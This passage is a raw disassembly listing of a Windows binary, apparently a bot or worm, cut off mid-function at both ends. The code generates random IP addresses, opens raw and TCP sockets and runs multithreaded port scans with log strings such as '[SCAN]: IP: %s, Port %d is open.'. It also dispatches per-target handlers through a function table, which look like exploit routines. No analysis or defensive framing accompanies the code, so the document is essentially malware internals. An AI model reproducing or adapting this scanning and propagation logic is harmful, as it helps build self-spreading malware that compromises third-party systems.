		lea	ecx, ds:445402h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445428[eax*4]
		inc	ecx
		mov	dword_445428[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	sub_5FADE9
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5FADE9
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456E4


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27E0B37h
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5FADE9
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5FADE9
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5FADE9
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5FADE9
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F8h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5FADE9
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5FADE9
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_445424[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 2830000h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2830156h
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		nop
		call	near ptr 2780853h
		push	offset dword_50FA90
		call	near ptr 2790000h
		nop


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5FADE9
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27C0890h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5FADE9
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5FADE9
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 2780853h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 2830156h
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
byte_424380	db 90h dup(0CCh)	; DATA XREF: sdfs____:005AAECCo

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
